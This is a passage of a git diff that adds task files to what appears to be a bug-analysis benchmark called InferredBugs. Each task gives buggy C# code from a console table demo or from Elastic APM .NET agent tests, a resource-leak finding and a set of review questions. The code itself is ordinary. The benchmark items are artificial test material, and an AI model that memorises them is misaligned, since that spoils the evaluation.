+            builder.WithFormat(ConsoleTableBuilderFormat.Minimal).ExportAndWriteLine();
+
+            Console.ReadKey();
+        }
+
+        static DataTable GetTable()
+        {
+            // Here we create a DataTable with four columns.
+            DataTable table = new DataTable();
+            table.Columns.Add(null, typeof(int));
+            table.Columns.Add("Drug", typeof(string));
+            table.Columns.Add("Patient", typeof(string));
+            table.Columns.Add("Date", typeof(DateTime));
+
+            // Here we add five DataRows.
+            table.Rows.Add(null, "Indocin", "David", DateTime.Now);
+            table.Rows.Add(50, null, "Sam", DateTime.Now);
+            table.Rows.Add(10, "Hydralazine", null, DateTime.Now);
+            table.Rows.Add(21, "Combivent", "Janet", DateTime.Now);
+            table.Rows.Add(100, "Dilantin", "Melanie", null);
+            return table;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource table of type System.Data.DataTable, Leaked resource (returned from System.Data.DataTable ConsoleTableApp.Program::GetTable() at Line 71) of type System.Data.DataTable, Leaked resource (returned from System.Data.DataTable ConsoleTableApp.Program::GetTable() at Line 24) of type System.Data.DataTable in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+Src/ConsoleTableApp/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e34bd0593933df0dddd82bfc44c7b73b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0419/instruction.md b/inferredbugs-0419/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4997b88bcbe2d563378ed81bed03970ef1ede5a3
--- /dev/null
+++ b/inferredbugs-0419/instruction.md
@@ -0,0 +1,322 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** apm-agent-dotnet
+**Bug ID:** 33
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using System.Threading;
+using Elastic.Apm.Config;
+using Elastic.Apm.Logging;
+using Elastic.Apm.Tests.Mocks;
+using FluentAssertions;
+using Xunit;
+
+namespace Elastic.Apm.Tests
+{
+	/// <summary>
+	/// Tests the configuration through environment variables
+	/// </summary>
+	public class EnvVarConfigTest : IDisposable
+	{
+		[Fact]
+		public void ServerUrlsSimpleTest()
+		{
+			var serverUrl = "http://myServer.com:1234";
+			var agent = new ApmAgent(new TestAgentComponents(serverUrls: serverUrl));
+			agent.ConfigurationReader.ServerUrls[0].OriginalString.Should().Be(serverUrl);
+			var rootedUrl = serverUrl + "/";
+			rootedUrl.Should().BeEquivalentTo(agent.ConfigurationReader.ServerUrls[0].AbsoluteUri);
+		}
+
+		[Fact]
+		public void ServerUrlsInvalidUrlTest()
+		{
+			var serverUrl = "InvalidUrl";
+			var agent = new ApmAgent(new TestAgentComponents(serverUrls: serverUrl));
+			agent.ConfigurationReader.ServerUrls[0].Should().Be(ConfigConsts.DefaultServerUri);
+		}
+
+		[Fact]
+		public void ServerUrlInvalidUrlLogTest()
+		{
+			var serverUrl = "InvalidUrl";
+			var logger = new TestLogger();
+			var agent = new ApmAgent(new TestAgentComponents(logger, serverUrl));
+			agent.ConfigurationReader.ServerUrls[0].Should().Be(ConfigConsts.DefaultServerUri);
+
+			logger.Lines.Should().NotBeEmpty();
+			logger.Lines[0].Should()
+				.StartWith($"{{{nameof(TestAgentConfigurationReader)}}}")
+				.And.ContainAll(
+					"Failed parsing server URL from",
+					TestAgentConfigurationReader.Origin,
+					ConfigConsts.ConfigKeys.Urls,
+					serverUrl
+				);
+		}
+
+		/// <summary>
+		/// Sets 2 servers and makes sure that they are all parsed
+		/// </summary>
+		[Fact]
+		public void ServerUrlsMultipleUrlsTest()
+		{
+			var serverUrl1 = "http://myServer1.com:1234";
+			var serverUrl2 = "http://myServer2.com:1234";
+			var serverUrls = $"{serverUrl1},{serverUrl2}";
+
+			var logger = new TestLogger();
+			var agent = new ApmAgent(new TestAgentComponents(logger, serverUrls));
+
+			var parsedUrls = agent.ConfigurationReader.ServerUrls;
+			parsedUrls[0].OriginalString.Should().Be(serverUrl1);
+			parsedUrls[0].AbsoluteUri.Should().BeEquivalentTo($"{serverUrl1}/");
+
+			parsedUrls[1].OriginalString.Should().Be(serverUrl2);
+			parsedUrls[1].AbsoluteUri.Should().BeEquivalentTo($"{serverUrl2}/");
+		}
+
+		/// <summary>
+		/// Sets 3 server urls, 2 of them are valid, 1 is invalid
+		/// Makes sure that the 2 valid urls are parsed and there is a log line for the invalid server url
+		/// </summary>
+		[Fact]
+		public void ServerUrlsMultipleUrlsWith1InvalidUrlTest()
+		{
+			var serverUrl1 = "http://myServer1.com:1234";
+			var serverUrl2 = "invalidUrl";
+			var serverUrl3 = "http://myServer2.com:1234";
+			var serverUrls = $"{serverUrl1},{serverUrl2},{serverUrl3}";
+			var logger = new TestLogger();
+			var agent = new ApmAgent(new TestAgentComponents(logger, serverUrls));
+
+			var parsedUrls = agent.ConfigurationReader.ServerUrls;
+			parsedUrls.Should().NotBeEmpty().And.HaveCount(2, "seeded 3 but one was invalid");
+			parsedUrls[0].OriginalString.Should().Be(serverUrl1);
+			parsedUrls[0].AbsoluteUri.Should().BeEquivalentTo($"{serverUrl1}/");
+
+			parsedUrls[1].OriginalString.Should().Be(serverUrl3);
+			parsedUrls[1].AbsoluteUri.Should().BeEquivalentTo($"{serverUrl3}/");
+
+			logger.Lines.Should().NotBeEmpty();
+			logger.Lines[0].Should()
+				.StartWith($"{{{nameof(TestAgentConfigurationReader)}}}")
+				.And.ContainAll(
+					"Failed parsing server URL from",
+					TestAgentConfigurationReader.Origin,
+					ConfigConsts.ConfigKeys.Urls,
+					serverUrl2
+				);
+		}
+
+		[Fact]
+		public void SecretTokenSimpleTest()
+		{
+			var secretToken = "secretToken";
+			var agent = new ApmAgent(new TestAgentComponents(secretToken: secretToken));
+			agent.ConfigurationReader.SecretToken.Should().Be(secretToken);
+		}
+
+		[Fact]
+		public void DefaultLogLevelTest() => Agent.Config.LogLevel.Should().Be(LogLevel.Error);
+
+		[Fact]
+		public void SetDebugLogLevelTest()
+		{
+			var agent = new ApmAgent(new TestAgentComponents("Debug"));
+			agent.ConfigurationReader.LogLevel.Should().Be(LogLevel.Debug);
+		}
+
+		[Fact]
+		public void SetErrorLogLevelTest()
+		{
+			var agent = new ApmAgent(new TestAgentComponents("Error"));
+			agent.ConfigurationReader.LogLevel.Should().Be(LogLevel.Error);
+		}
+
+		[Fact]
+		public void SetInfoLogLevelTest()
+		{
+			var agent = new ApmAgent(new TestAgentComponents("Information"));
+			agent.ConfigurationReader.LogLevel.Should().Be(LogLevel.Information);
+		}
+
+		[Fact]
+		public void SetWarningLogLevelTest()
+		{
+			var agent = new ApmAgent(new TestAgentComponents("Warning"));
+			agent.ConfigurationReader.LogLevel.Should().Be(LogLevel.Warning);
+		}
+
+		[Fact]
+		public void SetInvalidLogLevelTest()
+		{
+			var logLevelValue = "InvalidLogLevel";
+			var agent = new ApmAgent(new TestAgentComponents(logLevelValue));
+			var logger = agent.Logger as TestLogger;
+
+			agent.ConfigurationReader.LogLevel.Should().Be(LogLevel.Error);
+			logger.Lines.Should().NotBeEmpty();
+			logger.Lines[0].Should()
+				.StartWith($"{{{nameof(TestAgentConfigurationReader)}}}")
+				.And.ContainAll(
+					"Failed parsing log level from",
+					TestAgentConfigurationReader.Origin,
+					ConfigConsts.ConfigKeys.Level,
+					"Defaulting to "
+				);
+		}
+
+		/// <summary>
+		/// The server doesn't accept services with '.' in it.
+		/// This test makes sure we don't have '.' in the default service name.
+		/// </summary>
+		[Fact]
+		public void DefaultServiceNameTest()
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new AgentComponents(payloadSender: payloadSender));
+			agent.Tracer.CaptureTransaction("TestTransactionName", "TestTransactionType", t => { Thread.Sleep(2); });
+
+			//By default XUnit uses 'testhost' as the entry assembly, and that is what the
+			//agent reports if we don't set it to anything:
+			var serviceName = payloadSender.Payloads[0].Service.Name;
+			serviceName.Should().NotBeNullOrWhiteSpace();
+			serviceName.Should().NotContain(".");
+		}
+
+		/// <summary>
+		/// Sets the ELASTIC_APM_SERVICE_NAME environment variable and makes sure that
+		/// when the agent sends data to the server it has the value from the
+		/// ELASTIC_APM_SERVICE_NAME environment variable as service name.
+		/// </summary>
+		[Fact]
+		public void ReadServiceNameViaEnvironmentVariable()
+		{
+			var serviceName = "MyService123";
+			Environment.SetEnvironmentVariable(ConfigConsts.ConfigKeys.ServiceName, serviceName);
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new AgentComponents(payloadSender: payloadSender));
+			agent.Tracer.CaptureTransaction("TestTransactionName", "TestTransactionType", t => { Thread.Sleep(2); });
+
+			payloadSender.Payloads[0].Service.Name.Should().Be(serviceName);
+		}
+
+		/// <summary>
+		/// Sets the ELASTIC_APM_SERVICE_NAME environment variable to a value that contains a '.'
+		/// Makes sure that when the agent sends data to the server it has the value from the
+		/// ELASTIC_APM_SERVICE_NAME environment variable as service name and also makes sure that
+		/// the '.' is replaced.
+		/// </summary>
+		[Fact]
+		public void ReadServiceNameWithDotViaEnvironmentVariable()
+		{
+			var serviceName = "My.Service.Test";
+			Environment.SetEnvironmentVariable(ConfigConsts.ConfigKeys.ServiceName, serviceName);
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new AgentComponents(payloadSender: payloadSender));
+			agent.Tracer.CaptureTransaction("TestTransactionName", "TestTransactionType", t => { Thread.Sleep(2); });
+
+
+			payloadSender.Payloads[0].Service.Name.Should().Be(serviceName.Replace('.', '_'));
+			payloadSender.Payloads[0].Service.Name.Should().NotContain(".");
+		}
+
+		/// <summary>
+		/// In case the user does not provide us a service name we try to calculate it based on the callstack.
+		/// This test makes sure we recognize mscorlib and our own assemblies correctly in the
+		/// <see cref="AbstractConfigurationReader.IsMsOrElastic(byte[])" /> method.
+		/// </summary>
+		[Fact]
+		public void TestAbstractConfigurationReaderIsMsOrElastic()
+		{
+			var elasticToken = new byte[] { 174, 116, 0, 210, 193, 137, 207, 34 };
+			var mscorlibToken = new byte[] { 183, 122, 92, 86, 25, 52, 224, 137 };
+
+			AbstractConfigurationReader.IsMsOrElastic(elasticToken).Should().BeTrue();
+
+			AbstractConfigurationReader.IsMsOrElastic(new byte[] { 0 }).Should().BeFalse();
+			AbstractConfigurationReader.IsMsOrElastic(new byte[] { }).Should().BeFalse();
+
+			AbstractConfigurationReader
+				.IsMsOrElastic(new[]
+				{
+					elasticToken[0], mscorlibToken[1], elasticToken[2],
+					mscorlibToken[3], elasticToken[4], mscorlibToken[5], elasticToken[6], mscorlibToken[7]
+				}).Should().BeFalse();
+		}
+
+		/// <summary>
+		/// Makes sure that the <see cref="EnvironmentConfigurationReader" /> logs
+		/// in case it reads an invalid URL.
+		/// </summary>
+		[Fact]
+		public void LoggerNotNull()
+		{
+			Environment.SetEnvironmentVariable(ConfigConsts.ConfigKeys.Urls, "localhost"); //invalid, it should be "http://localhost"
+			var testLogger = new TestLogger();
+			var config = new EnvironmentConfigurationReader(testLogger);
+			var serverUrl = config.ServerUrls.FirstOrDefault();
+
+			serverUrl.Should().NotBeNull();
+			testLogger.Lines.Should().NotBeEmpty();
+		}
+
+		public void Dispose() => Environment.SetEnvironmentVariable(ConfigConsts.ConfigKeys.Urls, null);
+	}
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource agent of type Elastic.Apm.ApmAgent in method "Void EnvVarConfigTest.ServerUrlInvalidUrlLogTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void EnvVarConfigTest.ServerUrlInvalidUrlLogTest()
+
+### File:
+test/Elastic.Apm.Tests/ConfigTest.cs
+
+### Key:
+ConfigTest.cs|ServerUrlInvalidUrlLogTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+3025b8845c05fdb80fa2d1a9eedb27e5
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0421/instruction.md b/inferredbugs-0421/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bc79aaa0565680cab8ab0d94f6182cefc57240cd
--- /dev/null
+++ b/inferredbugs-0421/instruction.md
@@ -0,0 +1,625 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** apm-agent-dotnet
+**Bug ID:** 18
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Elastic.Apm.Api;
+using Elastic.Apm.Model.Payload;
+using Elastic.Apm.Tests.Mocks;
+using Xunit;
+
+namespace Elastic.Apm.Tests.ApiTests
+{
+	/// <summary>
+	/// Tests the API for manual instrumentation.
+	/// Only tests scenarios when using the convenient API and only test transactions.
+	/// Spans are covered by <see cref="ConvenientApiSpanTests" />.
+	/// Scenarios with manually calling <see cref="Tracer.StartTransaction" />,
+	/// <see cref="Transaction.StartSpan" />, <see cref="Transaction.End" />
+	/// are covered by <see cref="ApiTests" />
+	/// Very similar to <see cref="ConvenientApiSpanTests" />. The test cases are the same,
+	/// but this one tests the CaptureTransaction method - including every single overload.
+	/// </summary>
+	public class ConvenientApiTransactionTests
+	{
+		private const string ExceptionMessage = "Foo";
+		private const int SleepLength = 450;
+		private const string TransactionName = "ConvenientApiTest";
+		private const string TransactionType = "Test";
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Action)" /> method.
+		/// It wraps a fake transaction (Thread.Sleep) into the CaptureTransaction method
+		/// and it makes sure that the transaction is captured by the agent.
+		/// </summary>
+		[Fact]
+		public void SimpleAction() => AssertWith1Transaction(agent =>
+		{
+			agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				() => { Thread.Sleep(SleepLength); });
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Action)" /> method with an exception.
+		/// It wraps a fake transaction (Thread.Sleep) that throws an exception into the CaptureTransaction method
+		/// and it makes sure that the transaction and the exception are captured by the agent.
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithException() => AssertWith1TransactionAnd1Error(agent =>
+		{
+			Assert.Throws<InvalidOperationException>(() =>
+			{
+				agent.Tracer.CaptureTransaction(TransactionName, TransactionType, new Action(() =>
+				{
+					Thread.Sleep(SleepLength);
+					throw new InvalidOperationException(ExceptionMessage);
+				}));
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Action{ITransaction})" /> method.
+		/// It wraps a fake transaction (Thread.Sleep) into the CaptureTransaction method with an <see cref="Action{T}" />
+		/// parameter
+		/// and it makes sure that the transaction is captured by the agent and the <see cref="Action{ITransaction}" /> parameter
+		/// is not null
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithParameter() => AssertWith1Transaction(agent =>
+		{
+			agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				t =>
+				{
+					Assert.NotNull(t);
+					Thread.Sleep(SleepLength);
+				});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Action{ITransaction})" /> method with an exception.
+		/// It wraps a fake transaction (Thread.Sleep) that throws an exception into the CaptureTransaction method with an
+		/// <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction and the error are captured by the agent and the
+		/// <see cref="Action{ITransaction}" /> parameter is not null
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithExceptionAndParameter() => AssertWith1TransactionAnd1Error(agent =>
+		{
+			Assert.Throws<InvalidOperationException>(() =>
+			{
+				agent.Tracer.CaptureTransaction(TransactionName, TransactionType, new Action<ITransaction>(t =>
+				{
+					Assert.NotNull(t);
+					Thread.Sleep(SleepLength);
+					throw new InvalidOperationException(ExceptionMessage);
+				}));
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{T})" /> method.
+		/// It wraps a fake transaction (Thread.Sleep) with a return value into the CaptureTransaction method
+		/// and it makes sure that the transaction is captured by the agent and the return value is correct.
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithReturnType() => AssertWith1Transaction(agent =>
+		{
+			var res = agent.Tracer.CaptureTransaction(TransactionName, TransactionType, () =>
+			{
+				Thread.Sleep(SleepLength);
+				return 42;
+			});
+
+			Assert.Equal(42, res);
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{ITransaction,T})" /> method.
+		/// It wraps a fake transaction (Thread.Sleep) with a return value into the CaptureTransaction method with an
+		/// <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction is captured by the agent and the return value is correct and the
+		/// <see cref="Action{ITransaction}" /> is not null.
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithReturnTypeAndParameter() => AssertWith1Transaction(agent =>
+		{
+			var res = agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				t =>
+				{
+					Assert.NotNull(t);
+					Thread.Sleep(SleepLength);
+					return 42;
+				});
+
+			Assert.Equal(42, res);
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{ITransaction,T})" /> method with an
+		/// exception.
+		/// It wraps a fake transaction (Thread.Sleep) with a return value that throws an exception into the CaptureTransaction
+		/// method with an <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction and the error are captured by the agent and the return value is correct and the
+		/// <see cref="Action{ITransaction}" /> is not null.
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithReturnTypeAndExceptionAndParameter() => AssertWith1TransactionAnd1Error(agent =>
+		{
+			Assert.Throws<InvalidOperationException>(() =>
+			{
+				var result = agent.Tracer.CaptureTransaction(TransactionName, TransactionType, t =>
+				{
+					Assert.NotNull(t);
+					Thread.Sleep(SleepLength);
+
+					if (new Random().Next(1) == 0) //avoid unreachable code warning.
+						throw new InvalidOperationException(ExceptionMessage);
+
+					return 42;
+				});
+
+				Assert.True(false); //Should not be executed because the agent isn't allowed to catch an exception.
+				Assert.Equal(42, result); //But if it'd not throw it'd be 42.
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{T})" /> method with an exception.
+		/// It wraps a fake transaction (Thread.Sleep) with a return value that throws an exception into the CaptureTransaction
+		/// method
+		/// and it makes sure that the transaction and the error are captured by the agent.
+		/// </summary>
+		[Fact]
+		public void SimpleActionWithReturnTypeAndException() => AssertWith1TransactionAnd1Error(agent =>
+		{
+			Assert.Throws<InvalidOperationException>(() =>
+			{
+				var result = agent.Tracer.CaptureTransaction(TransactionName, TransactionType, () =>
+				{
+					Thread.Sleep(SleepLength);
+
+					if (new Random().Next(1) == 0) //avoid unreachable code warning.
+						throw new InvalidOperationException(ExceptionMessage);
+
+					return 42;
+				});
+
+				Assert.True(false); //Should not be executed because the agent isn't allowed to catch an exception.
+				Assert.Equal(42, result); //But if it'd not throw it'd be 42.
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Func{Task})" /> method.
+		/// It wraps a fake async transaction (Task.Delay) into the CaptureTransaction method
+		/// and it makes sure that the transaction is captured.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTask() => await AssertWith1TransactionAsync(async agent =>
+		{
+			await agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				async () => { await Task.Delay(SleepLength); });
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Func{Task})" /> method with an exception
+		/// It wraps a fake async transaction (Task.Delay) that throws an exception into the CaptureTransaction method
+		/// and it makes sure that the transaction and the error are captured.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithException() => await AssertWith1TransactionAnd1ErrorAsync(async agent =>
+		{
+			await Assert.ThrowsAsync<InvalidOperationException>(async () =>
+			{
+				await agent.Tracer.CaptureTransaction(TransactionName, TransactionType, async () =>
+				{
+					await Task.Delay(SleepLength);
+					throw new InvalidOperationException(ExceptionMessage);
+				});
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Func{ITransaction, Task})" /> method.
+		/// It wraps a fake async transaction (Task.Delay) into the CaptureTransaction method with an
+		/// <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction is captured and the <see cref="Action{ITransaction}" /> parameter is not null.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithParameter() => await AssertWith1TransactionAsync(async agent =>
+		{
+			await agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				async t =>
+				{
+					Assert.NotNull(t);
+					await Task.Delay(SleepLength);
+				});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction(string,string,System.Func{ITransaction, Task})" /> method with an
+		/// exception.
+		/// It wraps a fake async transaction (Task.Delay) that throws an exception into the CaptureTransaction method with an
+		/// <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction and the error are captured and the <see cref="Action{ITransaction}" /> parameter
+		/// is not null.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithExceptionAndParameter() => await AssertWith1TransactionAnd1ErrorAsync(async agent =>
+		{
+			await Assert.ThrowsAsync<InvalidOperationException>(async () =>
+			{
+				await agent.Tracer.CaptureTransaction(TransactionName, TransactionType, async t =>
+				{
+					Assert.NotNull(t);
+					await Task.Delay(SleepLength);
+					throw new InvalidOperationException(ExceptionMessage);
+				});
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{Task{T}})" /> method.
+		/// It wraps a fake async transaction (Task.Delay) with a return value into the CaptureTransaction method
+		/// and it makes sure that the transaction is captured by the agent and the return value is correct.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithReturnType() => await AssertWith1TransactionAsync(async agent =>
+		{
+			var res = await agent.Tracer.CaptureTransaction(TransactionName, TransactionType, async () =>
+			{
+				await Task.Delay(SleepLength);
+				return 42;
+			});
+			Assert.Equal(42, res);
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{ITransaction,Task{T}})" /> method.
+		/// It wraps a fake async transaction (Task.Delay) with a return value into the CaptureTransaction method with an
+		/// <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction is captured by the agent and the return value is correct and the
+		/// <see cref="ITransaction" /> is not null.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithReturnTypeAndParameter() => await AssertWith1TransactionAsync(async agent =>
+		{
+			var res = await agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+				async t =>
+				{
+					Assert.NotNull(t);
+					await Task.Delay(SleepLength);
+					return 42;
+				});
+
+			Assert.Equal(42, res);
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{ITransaction,Task{T}})" /> method with an
+		/// exception.
+		/// It wraps a fake async transaction (Task.Delay) with a return value that throws an exception into the CaptureTransaction
+		/// method with an <see cref="Action{ITransaction}" /> parameter
+		/// and it makes sure that the transaction and the error are captured by the agent and the return value is correct and the
+		/// <see cref="Action{ITransaction}" /> is not null.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithReturnTypeAndExceptionAndParameter() => await AssertWith1TransactionAnd1ErrorAsync(async agent =>
+		{
+			await Assert.ThrowsAsync<InvalidOperationException>(async () =>
+			{
+				var result = await agent.Tracer.CaptureTransaction(TransactionName, TransactionType, async t =>
+				{
+					Assert.NotNull(t);
+					await Task.Delay(SleepLength);
+
+					if (new Random().Next(1) == 0) //avoid unreachable code warning.
+						throw new InvalidOperationException(ExceptionMessage);
+
+					return 42;
+				});
+
+				Assert.True(false); //Should not be executed because the agent isn't allowed to catch an exception.
+				Assert.Equal(42, result); //But if it'd not throw it'd be 42.
+			});
+		});
+
+		/// <summary>
+		/// Tests the <see cref="Tracer.CaptureTransaction{T}(string,string,System.Func{Task{T}})" /> method with an exception.
+		/// It wraps a fake async transaction (Task.Delay) with a return value that throws an exception into the CaptureTransaction
+		/// method
+		/// and it makes sure that the transaction and the error are captured by the agent.
+		/// </summary>
+		[Fact]
+		public async Task AsyncTaskWithReturnTypeAndException() => await AssertWith1TransactionAnd1ErrorAsync(async agent =>
+		{
+			await Assert.ThrowsAsync<InvalidOperationException>(async () =>
+			{
+				var result = await agent.Tracer.CaptureTransaction(TransactionName, TransactionType, async () =>
+				{
+					await Task.Delay(SleepLength);
+
+					if (new Random().Next(1) == 0) //avoid unreachable code warning.
+						throw new InvalidOperationException(ExceptionMessage);
+
+					return 42;
+				});
+
+				Assert.True(false); //Should not be executed because the agent isn't allowed to catch an exception.
+				Assert.Equal(42, result); //But if it'd not throw it'd be 42.
+			});
+		});
+
+		/// <summary>
+		/// Wraps a cancelled task into the CaptureTransaction method and
+		/// makes sure that the cancelled task is captured by the agent.
+		/// </summary>
+		[Fact]
+		public async Task CancelledAsyncTask()
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new TestAgentComponents(payloadSender: payloadSender));
+
+			var cancellationTokenSource = new CancellationTokenSource();
+			var token = cancellationTokenSource.Token;
+			cancellationTokenSource.Cancel();
+
+			await Assert.ThrowsAsync<OperationCanceledException>(async () =>
+			{
+				await agent.Tracer.CaptureTransaction(TransactionName, TransactionType,
+					async () =>
+					{
+						// ReSharper disable once MethodSupportsCancellation, we want to delay before we throw the exception
+						await Task.Delay(SleepLength);
+						token.ThrowIfCancellationRequested();
+					});
+			});
+
+			Assert.NotEmpty(payloadSender.Payloads);
+			Assert.NotEmpty(payloadSender.Payloads[0].Transactions);
+
+			Assert.Equal(TransactionName, payloadSender.Payloads[0].Transactions[0].Name);
+			Assert.Equal(TransactionType, payloadSender.Payloads[0].Transactions[0].Type);
+
+			Assert.True(payloadSender.Payloads[0].Transactions[0].Duration >= SleepLength);
+
+
+			Assert.NotEmpty(payloadSender.Errors);
+			Assert.NotEmpty(payloadSender.Errors[0].Errors);
+
+			Assert.Equal("A task was canceled", payloadSender.Errors[0].Errors[0].Culprit);
+			Assert.Equal("Task canceled", payloadSender.Errors[0].Errors[0].Exception.Message);
+		}
+
+		/// <summary>
+		/// Creates a custom transaction and adds a tag to it.
+		/// Makes sure that the tag is stored on Transaction.Context.
+		/// </summary>
+		[Fact]
+		public void TagsOnTransaction()
+		{
+			var payloadSender = AssertWith1Transaction(
+				t =>
+				{
+					t.Tracer.CaptureTransaction(TransactionName, TransactionType, transaction =>
+					{
+						Thread.Sleep(SleepLength);
+						transaction.Tags["foo"] = "bar";
+					});
+				});
+
+			//According to the Intake API tags are stored on the Context (and not on Transaction.Tags directly).
+			Assert.Equal("bar", payloadSender.FirstTransaction.Context.Tags["foo"]);
+
+			//Also make sure the tag is visible directly on Transaction.Tags.
+			Assert.Equal("bar", payloadSender.Payloads[0].Transactions[0].Tags["foo"]);
+		}
+
+		/// <summary>
+		/// Creates a custom async transaction and adds a tag to it.
+		/// Makes sure that the tag is stored on Transaction.Context.
+		/// </summary>
+		[Fact]
+		public async Task TagsOnTransactionAsync()
+		{
+			var payloadSender = await AssertWith1TransactionAsync(
+				async t =>
+				{
+					await t.Tracer.CaptureTransaction(TransactionName, TransactionType, async transaction =>
+					{
+						await Task.Delay(SleepLength);
+						transaction.Tags["foo"] = "bar";
+					});
+				});
+
+			//According to the Intake API tags are stored on the Context (and not on Transaction.Tags directly).
+			Assert.Equal("bar", payloadSender.FirstTransaction.Context.Tags["foo"]);
+
+			//Also make sure the tag is visible directly on Transaction.Tags.
+			Assert.Equal("bar", payloadSender.Payloads[0].Transactions[0].Tags["foo"]);
+		}
+
+		/// <summary>
+		/// Creates a custom async Transaction that ends with an error and adds a tag to it.
+		/// Makes sure that the tag is stored on Transaction.Context.
+		/// </summary>
+		[Fact]
+		public async Task TagsOnTransactionAsyncError()
+		{
+			var payloadSender = await AssertWith1TransactionAnd1ErrorAsync(
+				async t =>
+				{
+					await Assert.ThrowsAsync<InvalidOperationException>(async () =>
+					{
+						await t.Tracer.CaptureTransaction(TransactionName, TransactionType, async transaction =>
+						{
+							await Task.Delay(SleepLength);
+							transaction.Tags["foo"] = "bar";
+
+							if (new Random().Next(1) == 0) //avoid unreachable code warning.
+								throw new InvalidOperationException(ExceptionMessage);
+						});
+					});
+				});
+
